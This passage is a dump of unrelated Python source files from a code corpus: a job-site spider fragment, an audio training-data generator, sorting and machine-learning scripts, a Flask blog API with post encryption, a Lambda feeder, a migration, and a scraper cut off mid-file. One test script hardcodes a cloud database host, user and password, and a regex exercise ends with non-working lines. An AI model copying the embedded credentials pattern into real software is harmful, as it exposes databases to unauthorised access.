self.formdata = {\n 'NoResultsFound': 'No results matching your search criteria were found. Please remove the filters and try again.',\n 'ReadMore': 'Lees meer',\n 'SaveText': 'Bewaar',\n }\n self.formdata['DefaultVacancyOverviewRequest'] = dvor\n self.formdata['Url'] = \"http://www.unique.nl/vacatures?Page=%s\" % page\n return FormRequest(\n url=self.page_url,\n formdata=self.formdata,\n headers={'X-Requested-With': 'XMLHttpRequest', 'Accept': '*/*'},\n callback=self.parse\n )\n","sub_path":"brightcorp/brightcorp/spiders/unique.py","file_name":"unique.py","file_ext":"py","file_size_in_byte":4585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"342581606","text":"import soundfile as sf\nimport numpy as np\nimport os\nimport shutil\nimport librosa \nimport xml.etree.ElementTree as ET\nfrom pydub import AudioSegment\nfrom pydub.playback import play\nfrom pydub.silence import split_on_silence\nimport random\nimport scipy.io.wavfile as wav\nimport scipy.signal as signal\nfrom matplotlib import pyplot as plt\n\nMAX_EPOCHS = 50_000\nfs = 16000\nWINDOW_SIZE = 20\nNFFT=int((WINDOW_SIZE/1000)*fs)\n\ndef random_ints_with_sum(n, num_elements):\n \"\"\"\n Generate num_elements non-negative random integers summing to `n`.\n \"\"\"\n if num_elements == 0:\n return None\n count = 0\n while n > 0:\n if count == num_elements - 1:\n break\n r = random.randint(0, int(n / (num_elements - count)))\n yield r\n n -= r\n count += 1\n yield n\n\ndef choose_background_file():\n \"\"\"\n Returns a random background audio file.\n \"\"\"\n folders = next(os.walk(r\"D:\\ML_Datasets\\demand\"))[1]\n n = len(folders)\n folder = folders[random.randint(0, n - 1)]\n file = random.choice(os.listdir(rf\"D:\\ML_Datasets\\demand\\{folder}\"))\n return r\"D:\\ML_Datasets\\demand\" + rf\"\\{folder}\\{file}\"\n\ndef choose_positive_files(max_samples):\n \"\"\"\n Returns up to max_samples positive samples.\n \"\"\"\n num_samples = random.randint(0, max_samples)\n duration = 0\n files = []\n for i in range(num_samples):\n file = random.choice(os.listdir(r\"D:\\ML_Datasets\\commands\\happy\"))\n with open(r\"D:\\ML_Datasets\\commands\\happy\" + rf\"\\{file}\", \"rb\") as f:\n audio = AudioSegment.from_file(f)\n files.append([audio, len(audio), 1])\n duration += len(audio)\n # Ensure that the positive samples will not exceed the length of the background audio\n while duration >= 10000:\n files = files[:-1]\n return files\n\ndef choose_negative_files(max_samples, positive_duration, negative_files):\n \"\"\"\n Returns up to max_samples negative samples.\n \"\"\"\n num_samples = random.randint(0, max_samples)\n duration = 0\n files = []\n for i in range(num_samples):\n audio = None\n # Handle failed mp3->wav conversion\n while audio is None:\n file = random.choice(negative_files)\n try:\n with open(r\"D:\\ML_Datasets\\clips\" + rf\"\\{file}\", \"rb\") as f:\n audio = AudioSegment.from_file(f)\n except:\n os.remove(r\"D:\\ML_Datasets\\clips\" + rf\"\\{file}\")\n files.append([audio, len(audio), -1])\n duration += len(audio)\n # Ensure that positive and negative samples do not exceed length of background audio\n while duration >= 10000 - positive_duration:\n duration -= files[-1][1]\n files = files[:-1]\n return files\n\nwith open(choose_background_file(), \"rb\") as f:\n background_audio = AudioSegment.from_file(f) \nind = random.randint(0, len(background_audio) - 11000)\nbackground_audio = background_audio[ind:ind + 10000]\n\nfor e in range(MAX_EPOCHS):\n # Generate 20 samples using the same random background audio clip\n if (e % 20 == 0):\n with open(choose_background_file(), \"rb\") as f:\n background_audio = AudioSegment.from_file(f)\n ind = random.randint(0, len(background_audio) - 11000)\n background_audio = background_audio[ind:ind + 10000]\n\n if (e % 5000 == 0):\n negative_files = [f for f in os.listdir(r\"D:\\ML_Datasets\\clips\") if f.endswith(\".wav\")]\n \n # Congregate positive and negative samples\n positive_samples = choose_positive_files(3)\n negative_samples = choose_negative_files(4, sum([e[1] for e in positive_samples]), negative_files)\n\n samples = positive_samples + negative_samples\n random.shuffle(samples)\n\n total_overlay_dur = sum([e[1] for e in samples])\n\n # Create random left paddings for each sample\n overlay_offsets = list(random_ints_with_sum(10000 - total_overlay_dur, len(samples)))\n\n duration = 0\n\n combined_audio = background_audio\n timestamps = []\n\n # Overlay samples with respective paddings onto background audio\n for i in range(len(samples)):\n combined_audio = combined_audio.overlay(samples[i][0], position=overlay_offsets[i] + duration)\n if samples[i][2] == 1:\n timestamps.append((overlay_offsets[i] + duration, overlay_offsets[i] + duration + samples[i][1]))\n duration = duration + samples[i][1] + overlay_offsets[i]\n\n spec, _, _, _ = plt.specgram(combined_audio.get_array_of_samples(), Fs=fs, NFFT=NFFT, noverlap=120)\n plt.close()\n\n # Export generated audio clip, associated positive sample alignment file and spectrogram\n combined_audio.export(rf\"C:\\Users\\Harry\\Desktop\\audio\\{e}.wav\", format=\"wav\")\n\n with open(rf\"C:\\Users\\Harry\\Desktop\\timestamps\\{e}.txt\", \"w+\") as f:\n for i in range(len(timestamps)):\n f.write(fr\"({timestamps[i][0]},{timestamps[i][1]})\")\n f.write(\"\\n\")\n\n np.savetxt(rf\"C:\\Users\\Harry\\Desktop\\spectrograms\\{e}.txt\", spec)\n\n print(e)","sub_path":"src/Generate_Overlayed_Audio.py","file_name":"Generate_Overlayed_Audio.py","file_ext":"py","file_size_in_byte":4972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"487809450","text":"def quick_sort(array):\n \"\"\"\n Функция быстрой сортировки. Использует опорный элемент для разбивки\n массива на левую и правую части, затем проверяет длину каждой части и\n таким образом продолжает разбивать массивы и сравнивать числа в них с\n ��порным элементом. Количество итераций, равно как и скорость работы алгоритма,\n зависит от верно выбранного опорного элемента.\n :param array: массив чисел\n :return: отсортированный массив\n \"\"\"\n if len(array) < 2:\n return array\n else:\n pivot = array[0]\n less = [i for i in array[1:] if i <= pivot]\n greater = [i for i in array[1:] if i > pivot]\n return quick_sort(less) + [pivot] + quick_sort(greater)\n\n\nnumbers = [1, 2, 3, 4, 5, 6, 7, 8]\nprint(quick_sort(numbers))\n","sub_path":"quick_sort.py","file_name":"quick_sort.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"222873824","text":"print(\"Importing necessary libraries...\")\nimport pandas as pd\nfrom sklearn import cross_validation as cv\nfrom sklearn.ensemble import RandomForestClassifier\n\nprint(\"Importing training and test data...\")\ndf_train = pd.read_csv(\"../input/train.csv\")\ndf_test = pd.read_csv(\"../input/test.csv\") \n\nprint(\"Defining training and test sets...\")\nid_test = df_test['ID']\ny_train = df_train['TARGET'].values\nX_train = df_train.drop(['ID','TARGET'], axis=1).values\nX_test = df_test.drop(['ID'], axis=1).values\n\nprint(\"Applying the method...\")\nclf = RandomForestClassifier(n_estimators=500, max_depth=5)\n\nprint(\"Fitting the model and making predictions...\")\nclf.fit(X_train, y_train)\ny_pred = clf.predict_proba(X_test)\n\nprint(\"Cross validating and checking the score...\")\nscores = cv.cross_val_score(clf, X_train, y_train, cv=10) \nprint(scores.mean())\n\nprint(\"Making submission...\")\nsubmission = pd.DataFrame({\"ID\":id_test, \"TARGET\":y_pred[:,1]})\nsubmission.to_csv(\"submission.csv\", index=False)","sub_path":"python codes/simple_RF_model.py","file_name":"simple_RF_model.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"167453258","text":"import psycopg2\nimport optparse\n\nfrom intertwine import context\nfrom intertwine import push\n\nhost = 'intertwine.cntms98hv39g.us-west-2.rds.amazonaws.com'\n\nparser = optparse.OptionParser()\nparser.add_option(\"-u\", \"--user\", dest=\"user_id\", default=1,\n help=\"the user ID\", metavar=\"user_id\")\nparser.add_option(\"-f\", \"--first\", dest=\"first\", default='Ben',\n help=\"the user's first name\", metavar=\"first\")\nparser.add_option(\"-l\", \"--last\", dest=\"last\", default='Rooke',\n help=\"the user's last name\", metavar=\"last\")\nparser.add_option(\"-t\", \"--target\", dest=\"target\", default=1,\n help=\"the ID of the person to send the push to\", metavar=\"target\")\nparser.add_option(\"-m\", \"--message\", dest=\"message\", default=\"hello\",\n\t\t help=\"push message\", metavar=\"message\")\n(options, args) = parser.parse_args()\n\nclass FalseRequest(object):\n\tdef __init__(self, user_id=None, first='', last=''):\n\t\tself.headers = { 'user_id':user_id, 'first':first, 'last':last }\n\ndef FalseSecurityContext(cur, user_id=None, first='', last=''):\n\trequest = FalseRequest(user_id, first, last)\n\treturn context.SecurityContext(request, cur)\n\ndef main():\n\tconn = psycopg2.connect('dbname=intertwine host=%s user=intertwine password=intertwine' % host)\n\tcur = conn.cursor()\n\tctx = FalseSecurityContext(cur, options.user_id, options.first, options.last)\n\tpush.push_notification(ctx, options.target, options.message)\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"tests/test_push.py","file_name":"test_push.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"601882164","text":"# \n\nimport re\n\nit = re.finditer(r'\\d+',\"2008-2018 10年,\\\n 中国发生了翻天腹地的变化\")\n\n# print(dir(it))\n\nfor i in it:\n # print(dir(i))\n print(i.group())\nprint(\"**********************************************\")\n\n#fullmatch\n# obj = re.fullmatch(r\"\\w+\",'abcdef123')\ntry:\n obj = re.fullmatch(r\"\\w+\",'abcdef123#')\n print(obj.group())\nexcept AttributeError as e:\n print(e)\nprint(\"**********************************************\")\n\n\nobj = re.match(r'foo','foo,food on the table')\nprint(obj.group())\nprint(\"**********************************************\")\n\n\n# search\nobj = re.search(r'foo','foo,food on the table')\nprint(obj.group())\nprint(\"**********************************************\")\n\n\n\n\n# regex属性ipython3执行\nre.compile()\nregex.flags\nregex.pattern\nregex.groups\nregex.groupindex\n","sub_path":"matc_re.py","file_name":"matc_re.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"259983060","text":"from flask import request\nfrom flask_restful import Resource\nfrom flask_jwt_extended import jwt_required, fresh_jwt_required, get_jwt_identity\nfrom models.post import Post\nfrom models.user import User\nfrom schema.posts import PostsSchema\nfrom config import dataEnc,bcrypt, log\n\nschemaMany = PostsSchema(many=True)\nschema = PostsSchema()\nserial_length = 8 #maximum is 10 for now.\n\nclass CategoryPosts(Resource):\n def get(self, name):\n data = Post.find_by_category(name)\n if not data:\n return {\"message\": \"There are no posts in this category yet.\"},404\n return {\n 'count': len(data),\n 'data': schemaMany.dump(data)\n },200\n\nclass AuthorPosts(Resource):\n def get(self, name):\n user = User.find_by_name(name)\n if not id:\n return {\"message\": \"This author didn't posted yet.\"},404\n data = Post.find_by_author(user.id)\n if not data:\n return {\"message\": \"This author didn't posted yet.\"},404\n return {\n 'count': len(data),\n 'data': schemaMany.dump(data)\n },200\n\nclass DumpPosts(Resource):\n def get(self):\n data = Post.query.order_by(Post.date.desc()).all()\n if not data:\n return {\"message\": \"There are no posts yet.\"},404\n return {\n 'count': len(data),\n 'data': schemaMany.dump(data)\n },200\n\nclass CreatePosts(Resource):\n @jwt_required\n def post(self):\n import string, random,datetime\n data = schema.load(request.get_json())\n data.serial = ''.join(random.choices(string.ascii_lowercase + string.digits, k = serial_length)) \n data.date = datetime.datetime.now()\n\n #Handling the author stuff\n from schema.users import UserSchema\n authorData = User.find_by_uuid(get_jwt_identity())\n data.author_id = authorData.id\n\n #encrypting posts, in the needed cases.\n if data.encryptionKey:\n data.status = 'encrypted'\n try:\n data.content = dataEnc.encodeString(data.content,data.encryptionKey)\n data.encryptionKey = bcrypt.generate_password_hash(data.encryptionKey)\n except Exception as e:\n log.error('Encryption error when creating a post! Check error message: {}'.format(e))\n return {\"message\": \"Internal server error!\"},500\n try:\n data.save_to_db() #save the post\n authorData.activity +=1 #increment the activity\n authorData.save_to_db() #save it \n return {\"message\": \"Post created with serial `{}`.\".format(data.serial)},201\n except Exception as e:\n log.error('Database error when creating a new post. Check the error message: {}'.format(e))\n return {\"message\":\"Something went wrong. We can't upload this in our database.\"},500\n\nclass HandlePosts(Resource):\n def get(self, serial):\n data = Post.find_by_serial(serial)\n if not data:\n return {\"message\": \"There is no post with this serial. Please recheck.\"}, 404\n if data.status == 'encrypted':\n return {\"message\": \n \"This is an encrypted post. To read it's content you must pass the encryption key\"},400\n return {\n \"data\": schema.dump(data)\n },200\n @jwt_required\n def put(self, serial):\n schema = PostsSchema(partial=True)\n post = Post.find_by_serial(serial)\n if not post:\n return {\"message\": \"There is no post with this serial. Please recheck.\"}, 404\n\n #Working only with public data.\n if post.status=='encrypted':\n return {\"message\": \"To make any changes to this post you must pass the encryption key.\"},400\n \n data = schema.load(request.get_json())\n \n # You can update only title,content and status and category.\n if data.title:\n post.title = data.title\n if data.content:\n post.content = data.content\n if data.category:\n post.category = data.category\n\n # if you update the status, and pass an encryption key you will encrypt the post. else it will\n # just be changed. \n if data.status:\n if data.status == 'encrypted':\n if data.encryptionKey:\n try:\n post.status = 'encrypted'\n post.content = dataEnc.encodeString(post.content, data.encryptionKey)\n post.encryptionKey = bcrypt.generate_password_hash(data.encryptionKey)\n except Exception as e:\n log.error(\"There was an error with encrypting data. Check message: {}\".format(e))\n return {\"message\": \"There was an error with the encryption. Try again.\"},500\n else:\n return {\n \"message\": \"You don't have the encryptionKey. We can't encrypt a message without it.\"\n }, 400\n else:\n post.status=data.status\n \n try:\n post.save_to_db()\n return {\"message\": \"Post with serial `{}` has been updated in our database\".format(serial)},200\n except Exception as e:\n log.eror(\"There was an error with updating posts. Check message: {}\".format(e))\n return {\"message\":\"Something went wrong. We can't upload this in our database.\"},500\n\n @fresh_jwt_required\n def delete(self, serial):\n log.critical(\"{} tried to delete the post with serial `{}`\".format(request.remote_addr, serial))\n return {\"message\": \"Method is still not implemented.\"}, 500\n post = Post.find_by_serial(serial)\n if not post:\n return {\"message\": \"There is no post with this serial. Please recheck.\"}, 404\n #Upload this to a new database.\n post.status = 'deleted'\n try:\n post.save_to_db()\n return {\"message\": \"Post with serial `{}` has been purged from our database\".format(serial)},202\n except Exception as e:\n log.error(\"There was a problem when deleting a post. Check message: {}\".format(e))\n return {\"message\":\"Something went wrong. We can't upload this in our database.\"},500\n\n# Create a new method to see encrypted posts. \nclass ReadEncrypted(Resource):\n def get(self, serial, key):\n data = Post.find_by_serial(serial)\n if not data:\n return {\"message\": \"There is no post with this serial. Please recheck.\"}, 404\n if data.status != 'encrypted':\n return {\"message\": \"This post is not encrypted. Everyone can read it.\"},400\n\n if bcrypt.check_password_hash(data.encryptionKey, key):\n data.content = dataEnc.decodeString(data.content, key)\n else:\n return {\"message\": \"That's the wrong key. We can't decrypt the message.\"},401\n \n return {\n \"data\": schema.dump(data)\n }\n \n @jwt_required\n def put(self, serial,key):\n schema = PostsSchema(partial=True)\n post = Post.find_by_serial(serial)\n if not post:\n return {\"message\": \"There is no post with this serial. Please recheck.\"},404\n if post.status != 'encrypted':\n return {\"message\": \"This post is not encrypted. Everyone can read it.\"},400\n if not bcrypt.check_password_hash(post.encryptionKey, key):\n return {\"message\": \"This is the wrong key. We can't decrypt the message, so you can't edit it.\"}, 401\n \n data = schema.load(request.get_json())\n \n #You can change the title,category, content and status.\n if data.title:\n post.title = data.title\n \n if data.category:\n post.category = data.category\n if data.content:\n post.content = dataEnc.encodeString(data.content, key)\n\n if data.status and data.status != 'encrypted':\n post.encryptionKey = None #Removing the encryption key.\n post.content = dataEnc.decodeString(post.content, key)\n post.status = data.status\n try:\n post.save_to_db()\n return {\"message\": \"Post with serial `{}` has been updated in our database.\".format(serial)},200\n except Exception as e:\n log.error(\"There was an error when updated an encrypted post. Check message: {}\".format(e))\n return {\"message\":\"Something went wrong. We can't upload this in our database.\"},500\n","sub_path":"resources/posts.py","file_name":"posts.py","file_ext":"py","file_size_in_byte":8515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"77878599","text":"from Moments import Moments as debateMoments\nfrom datetime import datetime as datetime\nfrom datetime import timedelta as timedelta\nfrom random import randint as rand\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as pltDates\nimport numpy as np\n\ntweets = open('ppk_resultado_clasificador_propio.csv')\ntweets.readline()\n\ncount = 0\nx_ppk = []\ny_ppk = []\nsentiments_history_PPK = []\n\n# Constantes\nTENDENCY = 30\nDELTA_SEC = 10\n\nfor tweet in tweets:\n\tcount +=1\n\th = tweet[0:2]\n\tm = tweet[3:5]\n\ts = tweet[6:8]\n\tsentiment = int(tweet[9:len(tweet)])\n\ttw = datetime(2016,5,29,hour=int(h),minute=int(m),second=int(s))\n\tsentiments_history_PPK.append(sentiment)\n\tx_ppk.append(tw)\n\n# Por numero de tendencias\nfor i in range(len(x_ppk)):\n\tif i < TENDENCY:\n\t\tt = (sum(sentiments_history_PPK[:i]) + sentiments_history_PPK[i]) / (i+1)\n\telse:\n\t\tlast_tendency = (sum(sentiments_history_PPK[i:i+TENDENCY]) + sentiments_history_PPK[i])/(TENDENCY+1)\n\t\tt = last_tendency\n\ty_ppk.append(t)\n\ny1 = y_ppk[0:TENDENCY]\ny2 = y_ppk[-(len(y_ppk)-TENDENCY):]\nmaxTw = abs(max(y2)) if abs(max(y2)) > abs(min(y2)) else abs(min(y2))\ny2 = [(x/maxTw) for x in y2]\ny_ppk = y1+y2\n\n# Plot customization\nfig = plt.figure()\nfig.suptitle('Análisis de sentimiento de tweets #DebatePresidencial2016', fontsize=14, fontweight='bold')\nax = fig.add_subplot(111)\nax.set_title(\"Evolucion por hora\")\nax.set_xlabel(\"Hora\")\nax.set_ylabel(\"Sentimiento\")\n\n# Debate highlights\ndates_count = -1\ndict_count = 0\n\nfor horaSeccion,nombreSeccion in sorted(debateMoments.highlights_dict.items()):\n\twhile(dates_count < len(x_ppk)):\n\t\tdates_count += 1\n\t\tif (x_ppk[dates_count] > horaSeccion):\n\t\t\tdict_count +=1\n\t\t\tannotationPoint = y_ppk[dates_count]\n\t\t\tax.annotate(nombreSeccion, xy=(x_ppk[dates_count],annotationPoint), xytext=(x_ppk[dates_count],-1 + 0.185*dict_count),\n\t\t\t\t\t\tarrowprops=dict(arrowstyle=\"->\",connectionstyle=\"angle,angleA=0,angleB=90,rad=10\"))\n\t\t\tbreak\n\nfor i in range(len(y_ppk)):\n\tprint (sentiments_history_PPK[i],',',y_ppk[i])\nplt.plot_date(x_ppk,y_ppk,'k',linewidth=1.5, color='#00cef3') #ec6f01 para Keiko, #00cef3 para ppk\nplt.show()\n","sub_path":"ppk_test_tendency.py","file_name":"ppk_test_tendency.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"331005758","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/lsga/components/binary_individual.py\n# Compiled at: 2019-02-10 14:34:46\n# Size of source mod 2**32: 3534 bytes\n\"\"\" Module for Individual with binary encoding.\n\"\"\"\nfrom math import log2\nfrom itertools import accumulate\nimport logging\nfrom .individual import IndividualBase\nfrom ..mpiutil import MPIUtil\nmpi = MPIUtil()\n\nclass BinaryIndividual(IndividualBase):\n __doc__ = '\\n Class for individual in population. Random solution will be initialized\\n by default.\\n\\n :param ranges: value ranges for all entries in solution.\\n :type ranges: tuple list\\n\\n :param eps: decrete precisions for binary encoding, default is 0.001.\\n :type eps: float or float list (with the same length with ranges)\\n\\n .. Note:\\n\\n The decrete precisions for different components in varants may be\\n adjusted automatically (possible precision loss) if eps and ranges\\n are not appropriate.\\n '\n\n def __init__(self, ranges, eps=0.001):\n super(self.__class__, self).__init__(ranges, eps)\n self.lengths = []\n for i, ((a, b), eps) in enumerate(zip(self.ranges, self.eps)):\n length = int(log2((b - a) / eps))\n precision = (b - a) / 2 ** length\n self.lengths.append(length)\n self.precisions[i] = precision\n\n self.gene_indices = self._get_gene_indices()\n self.init()\n\n def encode(self):\n \"\"\" Encode solution to gene sequence in individual using different encoding.\n \"\"\"\n chromsome = []\n for var, (a, _), length, eps in zip(self.solution, self.ranges, self.lengths, self.precisions):\n chromsome.extend(self.binarize(var - a, eps, length))\n\n return chromsome\n\n def decode(self):\n \"\"\" Decode gene sequence to solution of target function.\n \"\"\"\n solution = [self.decimalize(self.chromsome[start:end], eps, lower_bound) for (start, end), (lower_bound, _), eps in zip(self.gene_indices, self.ranges, self.precisions)]\n return solution\n\n def _get_gene_indices(self):\n \"\"\"\n Helper function to get gene slice indices.\n \"\"\"\n end_indices = list(accumulate(self.lengths))\n start_indices = [0] + end_indices[:-1]\n return list(zip(start_indices, end_indices))\n\n @staticmethod\n def binarize(decimal, eps, length):\n \"\"\" Helper function to convert a float to binary sequence.\n\n :param decimal: the decimal number to be converted\n :type decimal: float\n\n :param eps: the decrete precision of binary sequence\n :type eps: float\n\n :param length: the length of binary sequence.\n :type length: int\n \"\"\"\n n = int(decimal / eps)\n bin_str = '{:0>{}b}'.format(n, length)\n return [int(i) for i in bin_str]\n\n @staticmethod\n def decimalize(binary, eps, lower_bound):\n \"\"\" Helper function to convert a binary sequence back to decimal number.\n\n :param binary: The binary list to be converted\n :type binary: list of int\n\n :param eps: the decrete precision of binary sequence\n :type eps: float\n\n :param lower_bound: the lower bound for decimal number\n :type lower_bound: float\n \"\"\"\n bin_str = ''.join([str(bit) for bit in binary])\n return lower_bound + int(bin_str, 2) * eps","sub_path":"pycfiles/lsga-0.6.0-py3.6/binary_individual.cpython-36.py","file_name":"binary_individual.cpython-36.py","file_ext":"py","file_size_in_byte":3507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"362054846","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ncases = ['l36_h0_tsr3.5', 'Task.10']\nrootDirs = ['/Volumes/arcus/Projects/waves/',\n '/Users/cfleming/Dropbox/Projects/bladeres/para_study/']\nfigDir = '/Users/cfleming/Projects/thesis/waves/fig/vof_rl/qt_polar'\ncranges = [[-5, 5], [-5, 5]] \nnlevel = 40\nlabels = ['Deforming', 'Rigid']\nR_tip = 9.\nfigwidth = 15/2.54\nfigaspect = 3. \nprintfig = False\n\nplt.close('all')\nplt.rcParams['text.usetex'] = printfig\n\n# set up figure\nfig, ax = plt.subplots(1, 2, subplot_kw=dict(polar=True),\n figsize=(figwidth, figwidth/figaspect))\n\nfor i, (case, rootDir, crange, label) in enumerate(zip(cases, rootDirs, cranges, labels)):\n ax[i].set_theta_direction(-1)\n ax[i].set_theta_zero_location(\"N\")\n levels = np.linspace(crange[0], crange[1], nlevel)\n figName = figDir + '_' + label + '.pdf'\n\n # get data\n caseDir = '{0}{1}/blade_loads/'.format(rootDir, case)\n qt = np.load(caseDir+'qt.npy')\n r = np.load(caseDir+'r.npy')\n theta = np.load(caseDir+'theta.npy')\n \n # order data\n i_theta_min = np.argmin(theta)\n theta = np.concatenate((theta[i_theta_min:], theta[:i_theta_min]))\n qt = np.concatenate((qt[:, i_theta_min:], qt[:, :i_theta_min]), axis=1)\n \n # repeat matrices for continuity\n theta = np.concatenate((theta, theta+2*np.pi))\n qt = np.concatenate((qt, qt), axis=1)\n \n # plot results\n h_fig = ax[i].contourf(theta, r/R_tip, qt/1000/(2*np.pi), levels, cmap='bwr')\n ax[i].set_ylim((0, 1))\n ax[i].set_yticklabels([])\n ax[i].set_thetagrids(np.linspace(0, 315, 8), \n frac=1.2)\n ax[i].set_xticklabels([r'0', '', r'$\\frac{\\pi}{2}$', '', r'$\\pi$', '', \n r'$\\frac{3\\pi}{2}$', ''])\n\n#plt.tight_layout()\n\nfig.subplots_adjust(right=0.5)\ncbar_ax = fig.add_axes([0.87, 0.2, 0.025, 0.65])\nh_ax = fig.colorbar(h_fig, cax=cbar_ax)\n\n#h_ax = ax[1].set_colorbar(h_fig, shrink=0.8, pad=.15)\nh_ax.set_ticks(np.linspace(crange[0], crange[1], 5))\nh_ax.set_label(r'$q_\\theta$ [kN m$^{-1}$ rad$^{-1}$]')\nplt.tight_layout(pad=0.25)\nplt.show()\n \nif printfig == True:\n plt.savefig(figName)\n","sub_path":"waves/script/vof_rl/azimuth_force_compare.py","file_name":"azimuth_force_compare.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"622654447","text":"import boto3\nimport json\nimport logging\nimport uuid\n\nfrom boto3utils import s3\nfrom cirruslib.statedb import StateDB\nfrom cirruslib.utils import submit_batch_job\nfrom cirruslib import Catalogs\nfrom json import dumps\nfrom os import getenv\nfrom traceback import format_exc\n\n# envvars\nSNS_TOPIC = getenv('CIRRUS_QUEUE_TOPIC_ARN')\n\n# clients\nstatedb = StateDB()\nSNS_CLIENT = boto3.client('sns')\n\n# logging\nlogger = logging.getLogger(f\"{__name__}.rerun\")\n\n\n\ndef submit(ids, process_update=None):\n payload = {\n \"catids\": ids\n }\n if process_update is not None:\n payload['process_update'] = process_update\n SNS_CLIENT.publish(TopicArn=SNS_TOPIC, Message=json.dumps(payload))\n\n\ndef handler(payload, context={}):\n logger.debug('Payload: %s' % json.dumps(payload))\n\n collections = payload.get('collections')\n index = payload.get('index', 'input_state')\n state = payload.get('state', 'FAILED')\n since = payload.get('since', None)\n limit = payload.get('limit', None)\n batch = payload.get('batch', False)\n process_update = payload.get('process_update', None)\n catid_batch = 5\n\n # if this is a lambda and batch is set\n if batch and hasattr(context, \"invoked_function_arn\"):\n submit_batch_job(payload, context.invoked_function_arn, name='rerun')\n return\n\n items = statedb.get_items(collections, state, since, index, limit=limit)\n\n nitems = len(items)\n logger.debug(f\"Rerunning {nitems} catalogs\")\n\n catids = []\n for i, item in enumerate(items):\n catids.append(item['catid'])\n if (i % catid_batch) == 0:\n submit(catids, process_update=process_update)\n catids = []\n if (i % 1000) == 0:\n logger.debug(f\"Queued {i} catalogs\")\n if len(catids) > 0:\n submit(catids, process_update=process_update)\n\n return {\n \"found\": nitems\n }\n","sub_path":"feeders/rerun/feeder.py","file_name":"feeder.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"447402412","text":"\"\"\"add controller name\n\nRevision ID: 76e766b0123c\nRevises: 50ddf64b504e\nCreate Date: 2018-11-14 17:51:32.944567\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '76e766b0123c'\ndown_revision = '50ddf64b504e'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('controller', sa.Column('controller_name', sa.String(length=100), nullable=True))\n op.create_index(op.f('ix_controller_controller_name'), 'controller', ['controller_name'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_controller_controller_name'), table_name='controller')\n op.drop_column('controller', 'controller_name')\n # ### end Alembic commands ###\n","sub_path":"ReceptionModule/migrations/versions/76e766b0123c_add_controller_name.py","file_name":"76e766b0123c_add_controller_name.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"42742232","text":"import os \nimport sys\nimport urllib.request, json \nfrom urllib.error import HTTPError\nfrom datetime import date, timedelta\nimport unicodedata\nfrom bs4 import BeautifulSoup\nimport re\nfrom datetime import datetime\nfrom utils import *\n\n\ndef urlParser(codigo):\n\n\tf = open(\"output/Actas/\"+codigo+\".html\",'r')\n\thtml_doc = f.read()\n\n\tsoup = BeautifulSoup(html_doc, 'html.parser')\n\n\tarticulos = []\n\n\titems_list = soup.find_all('span', id=re.compile(\"grdItemOC_ctl[0-9]?[0-9]?[0-9]?_ucAward__LblSchemaTittle\"))\n\ttablas = soup.find_all('table', id=re.compile(\"grdItemOC_ctl[0-9]?[0-9]?[0-9]?_ucAward_gvLines\"))\n\tfor i in range(len(tablas)):\n\t\ttable = tablas[i]\n\t\titem = items_list[i]\n\t\tsup = BeautifulSoup(str(table), 'html.parser')\n\n\t\tproveedores = sup.find_all('a', id=re.compile(\"grdItemOC_ctl[0-9]?[0-9]?[0-9]?_ucAward_gvLines_ctl[0-9]?[0-9]?[0-9]?_gvLines_lnkViewProvider\"))\n\t\tcomentarios = sup.find_all('span', id=re.compile(\"grdItemOC_ctl[0-9]?[0-9]?[0-9]?_ucAward_gvLines_ctl[0-9]?[0-9]?[0-9]?_gvLines_lblSupplierComment\"))\n\t\tmontos = sup.find_all('span', id=re.compile(\"grdItemOC_ctl[0-9]?[0-9]?[0-9]?_ucAward_gvLines_ctl[0-9]?[0-9]?[0-9]?_gvLines_lblTotalNetPrice\"))\n\t\tcantidades = sup.find_all('span', id=re.compile(\"grdItemOC_ctl[0-9]?[0-9]?[0-9]?_ucAward_gvLines_ctl[0-9]?[0-9]?[0-9]?_gvLines_txtAwardedQuantity\"))\n\t\ttotales_neto = sup.find_all('span', id=re.compile(\"grdItemOC_ctl[0-9]?[0-9]?[0-9]?_ucAward_gvLines_ctl[0-9]?[0-9]?[0-9]?_gvLines_lblTotalNetAward\"))\n\t\tadjudicados = sup.find_all('span', id=re.compile(\"grdItemOC_ctl[0-9]?[0-9]?[0-9]?_ucAward_gvLines_ctl[0-9]?[0-9]?[0-9]?_gvLines_lblIsSelected\"))\n\n\t\tnombreArticulo = elimina_tildes(item.get_text().lower()) \n\t\t\n\t\tprint(\"Artículo a 